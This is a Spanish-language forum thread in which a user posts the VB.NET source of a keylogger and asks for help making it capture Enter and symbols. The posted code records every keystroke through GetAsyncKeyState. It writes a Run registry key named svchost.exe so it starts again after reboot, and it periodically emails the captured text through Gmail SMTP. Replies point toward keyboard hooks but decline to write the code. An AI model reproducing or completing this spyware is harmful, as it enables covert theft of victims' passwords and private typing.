(Ayuda) Keylogger VB

[Axtrax]

Bueno,lo que necesito es que mi keylogger detecte todo,si aprienta enter y cada simbolo por ejemplo @ etc.

Mi codeo:

Imports System.Web
Imports System.IO
Imports System.Net.Mail

Public Class Form1
    Dim result As Integer
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Shell("reg add hklm\software\microsoft\windows\currentversion\run /v svchost.exe /t reg_sz /d C:\WINDOWS\system\svchost.exe /f ")
    End Sub
    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        For i = 1 To 255
            result = 0
            result = GetAsyncKeyState(i)
            If result = -32767 Then
                TextBox1.Text = TextBox1.Text + Chr(i)
            End If
        Next i
    End Sub
    Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
        Dim mail As New MailMessage()
        Dim SmtpServer As New SmtpClient
        SmtpServer.Credentials = New Net.NetworkCredential(".....", ".....")
        SmtpServer.Port = 587
        SmtpServer.Host = "smtp.gmail.com"
        SmtpServer.EnableSsl = True
        SmtpServer.EnableSsl = True
        mail.To.Add("....")
        mail.From = New MailAddress("username@gmail.com")
        mail.Subject = "Message HSSD70"
        mail.Body = TextBox1.Text
        SmtpServer.Send(mail)
    End Sub
End Class

espero que me puedan ayudar,si aqui no es donde va la pregunta diganme donde pero porfavor ayudenme

[Elemental Code]

Busca de como hacerlo con APIS.

(jaja, yo digo que busque apis y acabo de usar el getasyncstate para un hotkey )

[seba123neo]

lo mejor de todo es un hook..

[Axtrax]

lo mejor de todo es un hook..

mmm estuve buscando pero no encuentro la forma de agregarselo a mi codeo porfavor si serias tan amable podrias de mi codeo agregarle todo para que se vean los simbolos o cuando el preciona (enter) que aparezca?
te lo agradeceria mucho ^^

[seba123neo]

perdona pero debes buscarlo en internet, ponerte codigo ya seria darte todo, busca en internet hook vb net y te va a salir un monton de codigos.

saludos.